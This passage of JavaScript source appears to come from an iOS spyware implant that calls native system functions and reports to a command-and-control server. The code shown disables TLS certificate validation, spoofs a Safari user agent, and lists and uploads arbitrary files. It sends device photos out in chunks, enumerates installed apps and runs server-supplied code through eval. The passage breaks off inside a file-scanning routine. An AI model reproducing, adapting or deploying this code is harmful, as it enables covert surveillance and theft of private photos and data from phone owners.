JSON.parse(resp.substring(idx + 4)); } catch(e) { return null; }\n\t} finally {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n}\n\n// ============================================================================\n// CFStream HTTPS Client (https:// - production with Nginx/Cloudflare)\n// ============================================================================\n\nconst _RTLD_DEFAULT = 0xfffffffffffffffen;\n\nfunction _makeCFString(str) {\n\tvar buf = Native.callSymbol(\"malloc\", str.length + 1);\n\tNative.writeString(buf, str);\n\tvar cfs = Native.callSymbol(\"CFStringCreateWithCString\", 0n, buf, 0x08000100);\n\tNative.callSymbol(\"free\", buf);\n\treturn cfs;\n}\n\nfunction _getGlobalCF(name) {\n\tvar addr = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, name);\n\tif (!addr || addr === 0n) return 0n;\n\treturn Native.readPtr(BigInt(addr));\n}\n\nfunction _getGlobalCFSafe(name) {\n\tvar val = _getGlobalCF(name);\n\tif (val && val !== 0n) return val;\n\treturn _makeCFString(name);\n}\n\nfunction _cfstreamPost(host, port, path, bodyStr) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return null;\n\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\",\n\t\t\t0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\n\t\tNative.callSymbol(\"CFRelease\", hostCF);\n\t\thostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr));\n\t\tNative.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return null;\n\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryValueCallBacks\");\n\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\",\n\t\t\t\t\t0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return null;\n\n\t\t\tvar hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host +\n\t\t\t\t\"\\r\\nContent-Type: application/json\" +\n\t\t\t\t\"\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\" +\n\t\t\t\t\"\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t\tvar fullReq = hdr + bodyStr;\n\t\t\tvar reqBuf = Native.callSymbol(\"malloc\", fullReq.length + 1);\n\t\t\tNative.writeString(reqBuf, fullReq);\n\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < fullReq.length) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\",\n\t\t\t\t\tws, BigInt(reqBuf) + BigInt(totalSent),\n\t\t\t\t\tfullReq.length - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(reqBuf));\n\t\t\tif (totalSent < fullReq.length) return null;\n\n\t\t\tvar respBuf = Native.callSymbol(\"malloc\", 65536);\n\t\t\tvar result = \"\";\n\t\t\tfor (var ri = 0; ri < 50; ri++) {\n\t\t\t\tvar br = Number(Native.callSymbol(\"CFReadStreamRead\",\n\t\t\t\t\trs, BigInt(respBuf), 65535));\n\t\t\t\tif (br <= 0) break;\n\t\t\t\tresult += Native.readString(BigInt(respBuf), br);\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(respBuf));\n\n\t\t\tvar idx = result.indexOf(\"\\r\\n\\r\\n\");\n\t\t\tif (idx < 0) return null;\n\t\t\ttry { return JSON.parse(result.substring(idx + 4)); } catch(e) { return null; }\n\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _writeLog(msg) {\n\ttry {\n\t\tvar ts = new Date().toISOString();\n\t\tvar line = \"[\" + ts + \"] \" + msg + \"\\n\";\n\t\tvar fd = Number(Native.callSymbol(\"open\", \"/tmp/c2_wallet_debug.log\", 0x209, 0x1FF));\n\t\tif (fd > 0) {\n\t\t\tvar buf = Native.callSymbol(\"malloc\", line.length + 1);\n\t\t\tNative.writeString(buf, line);\n\t\t\tNative.callSymbol(\"write\", fd, buf, line.length);\n\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\tNative.callSymbol(\"close\", fd);\n\t\t}\n\t} catch(e) {}\n\ttry {\n\t\tvar u = \"\";\n\t\ttry { u = DEVICE_UUID; } catch(_u) {}\n\t\thqPost(\"/log\", { uuid: u, lhu: u, text: String(msg), source: \"c2_wallet\" });\n\t} catch(_le) {}\n}\n\n// ============================================================================\n// httpPost - dual mode (https -> CFStream TLS, http -> POSIX socket)\n// ============================================================================\n\nfunction httpPost(url, body) {\n\tconst { host, port, path } = parseURL(url);\n\tconst bodyStr = JSON.stringify(body);\n\tif (url.indexOf(\"https://\") === 0) {\n\t\treturn _cfstreamPost(host, port, path, bodyStr);\n\t}\n\treturn _socketPost(host, port, path, bodyStr);\n}\n\nfunction hqPost(endpoint, body) {\n\ttry { return httpPost(HQ_API_BASE + endpoint, body); }\n\tcatch(e) { return null; }\n}\n\n// ============================================================================\n// HQ Photo Multipart Upload\n// ============================================================================\n\nfunction _writeStr(ptr, str) {\n\tvar buf = new ArrayBuffer(str.length);\n\tvar a = new Uint8Array(buf);\n\tfor (var i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\tNative.write(ptr, buf);\n}\n\nfunction _cfstreamSendRaw(host, port, reqBuf, reqLen) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return false;\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\", 0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\t\tNative.callSymbol(\"CFRelease\", hostCF); hostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr)); Native.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return false;\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryValueCallBacks\");\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return false;\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < reqLen) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\", ws, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\treturn totalSent >= reqLen;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _socketSendRaw(host, port, reqBuf, reqLen) {\n\tvar fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return false;\n\ttry {\n\t\tvar tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n); Native.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\t\tvar sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar sab = new ArrayBuffer(16);\n\t\tvar sv = new DataView(sab);\n\t\tsv.setUint8(0, 16); sv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tvar pp = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(pp[0])); sv.setUint8(5, parseInt(pp[1]));\n\t\tsv.setUint8(6, parseInt(pp[2])); sv.setUint8(7, parseInt(pp[3]));\n\t\tNative.write(sa, sab);\n\t\tvar cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return false;\n\t\tvar totalSent = 0;\n\t\twhile (totalSent < reqLen) {\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", fd, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\tif (nw <= 0) break;\n\t\t\ttotalSent += nw;\n\t\t}\n\t\treturn totalSent >= reqLen;\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _hqUploadPhoto(filePath, filename, uuid, seq, md5hash) {\n\treturn false;\n\tvar useTLS = HQ_API_BASE.indexOf(\"https://\") === 0;\n\tvar p = parseURL(HQ_API_BASE + \"/p\");\n\tvar fileFd = Number(Native.callSymbol(\"open\", filePath, 0, 0));\n\tif (fileFd < 0) return false;\n\tvar fileLen = Number(Native.callSymbol(\"lseek\", fileFd, 0, 2));\n\tNative.callSymbol(\"lseek\", fileFd, 0, 0);\n\tif (fileLen <= 0 || fileLen > 5242880) {\n\t\tNative.callSymbol(\"close\", fileFd);\n\t\treturn false;\n\t}\n\tvar fileBuf = Native.callSymbol(\"malloc\", BigInt(fileLen));\n\tif (!fileBuf || fileBuf === 0n) { Native.callSymbol(\"close\", fileFd); return false; }\n\tNative.callSymbol(\"read\", fileFd, fileBuf, fileLen);\n\tNative.callSymbol(\"close\", fileFd);\n\n\tvar bnd = \"------HqBound\";\n\tvar ua = \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\";\n\tvar prefix =\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"uuid\\\"\\r\\n\\r\\n\" + uuid + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"filename\\\"\\r\\n\\r\\n\" + filename + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"seq\\\"\\r\\n\\r\\n\" + seq + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"md5\\\"\\r\\n\\r\\n\" + md5hash + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\" + filename + \"\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\";\n\tvar suffix = \"\\r\\n--\" + bnd + \"--\\r\\n\";\n\tvar bodyLen = prefix.length + fileLen + suffix.length;\n\tvar hdr = \"POST /p HTTP/1.0\\r\\nHost: \" + p.host + \"\\r\\nContent-Type: multipart/form-data; boundary=\" + bnd + \"\\r\\nUser-Agent: \" + ua + \"\\r\\nContent-Length: \" + bodyLen + \"\\r\\n\\r\\n\";\n\n\tvar totalLen = hdr.length + bodyLen;\n\tvar reqBuf = Native.callSymbol(\"malloc\", BigInt(totalLen));\n\tif (!reqBuf || reqBuf === 0n) { Native.callSymbol(\"free\", fileBuf); return false; }\n\n\t_writeStr(reqBuf, hdr);\n\t_writeStr(reqBuf + BigInt(hdr.length), prefix);\n\tNative.callSymbol(\"memcpy\", reqBuf + BigInt(hdr.length + prefix.length), fileBuf, BigInt(fileLen));\n\tNative.callSymbol(\"free\", fileBuf);\n\t_writeStr(reqBuf + BigInt(hdr.length + prefix.length + fileLen), suffix);\n\n\tvar ok = useTLS\n\t\t? _cfstreamSendRaw(p.host, p.port, reqBuf, totalLen)\n\t\t: _socketSendRaw(p.host, p.port, reqBuf, totalLen);\n\tNative.callSymbol(\"free\", reqBuf);\n\treturn ok;\n}\n\n// ============================================================================\n// File & Directory Helpers\n// ============================================================================\n\nfunction readFileB64(path, maxSize) {\n\tmaxSize = maxSize || MAX_FILE_SIZE;\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tconst sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tconst nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\treturn { b64: bytesToBase64(new Uint8Array(Native.read(buf, nr))), size: nr };\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction getFileSize(path) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return -1;\n\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"close\", fd);\n\treturn sz;\n}\n\nfunction sendFileChunked(cmdId, path, filename, category, meta) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return { ok: false, error: \"open failed\", sent: 0, total: 0 };\n\ttry {\n\t\treturn _sendChunksFromFd(cmdId, fd, -1, filename, category, meta);\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _sendChunksFromFd(cmdId, fd, knownSize, filename, category, meta) {\n\tvar fileSize = knownSize > 0 ? knownSize : Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tif (knownSize <= 0) Native.callSymbol(\"lseek\", fd, 0, 0);\n\tif (fileSize <= 0) return { ok: false, error: \"empty file\", sent: 0, total: 0 };\n\n\tvar totalChunks = Math.ceil(fileSize / CHUNK_SIZE);\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(CHUNK_SIZE));\n\tif (!buf || buf === 0n) return { ok: false, error: \"malloc failed\", sent: 0, total: totalChunks };\n\tvar sentOk = 0, lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(CHUNK_SIZE, fileSize - ci * CHUNK_SIZE);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read returned \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar body = {\n\t\t\t\tcommand_id: cmdId, uuid: DEVICE_UUID,\n\t\t\t\tfilename: filename, data: b64,\n\t\t\t\tchunk_index: ci, total_chunks: totalChunks,\n\t\t\t\tcategory: category || \"\"\n\t\t\t};\n\t\t\tif (meta && ci === totalChunks - 1) {\n\t\t\t\tbody._exec_start_ms = meta.start_ms || 0;\n\t\t\t\tbody._exec_end_ms = meta.end_ms || 0;\n\t\t\t}\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = httpPost(C2_RESULT_URL, body);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch(pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (postOk) { sentOk++; }\n\t\t\telse { lastErr = \"POST failed chunk \" + ci; break; }\n\t\t}\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn { ok: sentOk === totalChunks, error: lastErr, sent: sentOk,\n\t\t\t total: totalChunks, fileSize: fileSize };\n}\n\nfunction listDir(path) {\n\tconst d = Native.callSymbol(\"opendir\", path);\n\tif (!d || d === 0n) return [];\n\tconst out = [];\n\tfor (;;) {\n\t\tconst ent = Native.callSymbol(\"readdir\", d);\n\t\tif (!ent || ent === 0n) break;\n\t\t// Darwin dirent: d_ino(8)+d_seekoff(8)+d_reclen(2)+d_namlen(2)+d_type(1)+d_name\n\t\tconst dtype = new Uint8Array(Native.read(ent + 20n, 1))[0];\n\t\tconst name = Native.readString(ent + 21n, 256);\n\t\tif (name === \".\" || name === \"..\") continue;\n\t\tout.push({ name: name, type: dtype === 4 ? \"dir\" : dtype === 8 ? \"file\" : \"\"+dtype });\n\t}\n\tNative.callSymbol(\"closedir\", d);\n\treturn out;\n}\n\n// ============================================================================\n// Command Handlers\n// ============================================================================\n\nfunction sendResult(cmdId, data, filename, category, meta) {\n\tconst body = { command_id: cmdId, uuid: DEVICE_UUID, filename: filename || \"result.bin\" };\n\tif (data) body.data = data;\n\tif (category) body.category = category;\n\tif (meta) {\n\t\tif (meta.start_ms) body._exec_start_ms = meta.start_ms;\n\t\tif (meta.end_ms) body._exec_end_ms = meta.end_ms;\n\t}\n\tfor (var _retry = 0; _retry < 3; _retry++) {\n\t\tvar _resp = httpPost(C2_RESULT_URL, body);\n\t\tif (_resp !== null) return;\n\t\tNative.callSymbol(\"usleep\", 2000000);\n\t}\n}\n\nfunction sendJSON(cmdId, obj, filename, meta) {\n\tconst s = JSON.stringify(obj);\n\tsendResult(cmdId, bytesToBase64(new Uint8Array(Native.stringToBytes(s, false))), filename || \"result.json\", null, meta);\n}\n\nfunction handleLs(cmd) {\n\tconst p = (cmd.params && cmd.params.path) || \"/\";\n\tsendJSON(cmd.command_id, listDir(p), \"ls_\" + p.replace(/\\//g, \"_\") + \".json\");\n}\n\nfunction handleDownload(cmd) {\n\tvar p = cmd.params && cmd.params.path;\n\tif (!p) return;\n\tvar maxSz = (cmd.params && cmd.params.max_size) || MAX_FILE_SIZE;\n\tvar sz = getFileSize(p);\n\tif (sz <= 0 || sz > maxSz) return;\n\tvar fname = p.split(\"/\").pop();\n\tif (sz <= CHUNK_SIZE) {\n\t\tvar f = readFileB64(p, maxSz);\n\t\tif (f) sendResult(cmd.command_id, f.b64, fname);\n\t} else {\n\t\tsendFileChunked(cmd.command_id, p, fname);\n\t}\n}\n\nfunction handlePhotos(cmd) {\n\tvar dcim = \"/var/mobile/Media/DCIM\";\n\tvar maxCount = (cmd.params && cmd.params.max_count) || 50;\n\tvar count = 0;\n\tvar dirs = listDir(dcim);\n\tfor (var di = 0; di < dirs.length && count < maxCount; di++) {\n\t\tif (dirs[di].type !== \"dir\") continue;\n\t\tvar sub = dcim + \"/\" + dirs[di].name;\n\t\tvar files = listDir(sub);\n\t\tfor (var fi = 0; fi < files.length && count < maxCount; fi++) {\n\t\t\tif (files[fi].type !== \"file\") continue;\n\t\t\tvar fp = sub + \"/\" + files[fi].name;\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) {\n\t\t\t\t\tsendResult(cmd.command_id, f.b64, files[fi].name, \"photos\");\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar chunkResult = sendFileChunked(cmd.command_id, fp, files[fi].name, \"photos\");\n\t\t\t\tif (chunkResult && chunkResult.ok) count++;\n\t\t\t}\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, { collected: count }, \"photos_summary.json\");\n}\n\nfunction _extractBundleId(bytes) {\n\tvar text = _rawToStr(bytes);\n\tvar xmlKey = \"MCMMetadataIdentifier</key>\";\n\tvar ki = text.indexOf(xmlKey);\n\tif (ki >= 0) {\n\t\tvar si = text.indexOf(\"<string>\", ki);\n\t\tif (si >= 0) {\n\t\t\tsi += 8;\n\t\t\tvar ei = text.indexOf(\"</string>\", si);\n\t\t\tif (ei >= 0) return text.substring(si, ei);\n\t\t}\n\t}\n\tvar strings = [];\n\tvar cur = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\tif (bytes[i] >= 0x20 && bytes[i] <= 0x7E) {\n\t\t\tcur += String.fromCharCode(bytes[i]);\n\t\t} else {\n\t\t\tif (cur.length >= 3) strings.push(cur);\n\t\t\tcur = \"\";\n\t\t}\n\t}\n\tif (cur.length >= 3) strings.push(cur);\n\tvar mki = -1;\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tif (strings[j] === \"MCMMetadataIdentifier\") { mki = j; break; }\n\t}\n\tvar candidates = [];\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tvar s = strings[j];\n\t\tvar fi = 0;\n\t\twhile (fi < s.length && !((s.charCodeAt(fi) >= 0x41 && s.charCodeAt(fi) <= 0x5A) ||\n\t\t\t(s.charCodeAt(fi) >= 0x61 && s.charCodeAt(fi) <= 0x7A))) fi++;\n\t\tif (fi > 0) s = s.substring(fi);\n\t\tif (s.length < 5) continue;\n\t\tif (s.indexOf(\".\") < 0) continue;\n\t\tif (s.indexOf(\"MCM\") === 0) continue;\n\t\tif (s.charAt(0) === \"$\") continue;\n\t\tif (s.indexOf(\"]\") >= 0) continue;\n\t\tif (s.indexOf(\"bplist\") >= 0) continue;\n\t\tif (s.indexOf(\"apple.mobile_container\") >= 0) continue;\n\t\tif (s.indexOf(\"MobileInstallation\") >= 0) continue;\n\t\tif (s === \"com.apple.installd\") continue;\n\t\tif (s === \"com.apple.containermanagerd\") continue;\n\t\tif (s === \"com.apple.lsd\") continue;\n\t\tcandidates.push({ s: s, i: j });\n\t}\n\tif (candidates.length === 0) return \"\";\n\tif (candidates.length === 1) return candidates[0].s;\n\tif (mki >= 0) {\n\t\tvar best = candidates[0];\n\t\tvar bd = Math.abs(candidates[0].i - mki);\n\t\tfor (var k = 1; k < candidates.length; k++) {\n\t\t\tvar d = Math.abs(candidates[k].i - mki);\n\t\t\tif (d < bd) { bd = d; best = candidates[k]; }\n\t\t}\n\t\treturn best.s;\n\t}\n\treturn candidates[0].s;\n}\n\nfunction handleApps(cmd) {\n\tconst base = \"/var/mobile/Containers/Data/Application\";\n\tconst dirs = listDir(base);\n\tconst apps = [];\n\tfor (let i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tconst meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tconst ok = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tvar bundleId = \"\";\n\t\tif (ok) {\n\t\t\tvar bytes = _readFileBytes(meta, 8192);\n\t\t\tif (bytes && bytes.length > 0) bundleId = _extractBundleId(bytes);\n\t\t}\n\t\tapps.push({ uuid: dirs[i].name, bundleId: bundleId, hasMetadata: ok });\n\t}\n\tsendJSON(cmd.command_id, apps, \"app_list.json\");\n}\n\nfunction handleExec(cmd) {\n\tvar p = cmd.params || {};\n\tvar code = p.code;\n\tvar startMs = Date.now();\n\tif (!code) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty code\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\ttry {\n\t\tvar r = eval(code);\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"success\",\n\t\t\tresult: String(r !== undefined ? r : \"\"),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t} catch (e) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\",\n\t\t\terror: String(e),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t}\n}\n\n// ============================================================================\n// file_upload: scan directories, filter files, upload matching ones in chunks\n// ============================================================================\n\nfunction _scanDir(base, files, recurse, excludes, filterMode, exts, maxSz) {\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar full = base + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") {\n\t\t\tif (!recurse) continue;\n\t\t\tvar skip = false;\n\t\t\tfor (var e = 0; e < excludes.length; e++) {\n\t\t\t\tif (full === excludes[e]) { skip = true; break; }\n\t\t\t}\n\t\t\tif (!skip) _scanDir(full, files, recurse, excludes, filterMode, exts, maxSz);\n\t\t} else if (items[i].type === \"file\") {\n\t\t\tif (maxSz > 0) {\n\t\t\t\tvar fd = Number(Native.callSymbol(\"open\", full, 0, 0));\n\t\t\t\tif (fd >= 0) {\n\t\t\t\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\t\t\t\tNative.callSymbol(\"close\", fd);\n\t\t\t\t\tif (sz > maxSz) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (filterMode === \"include\" && exts.length > 0) 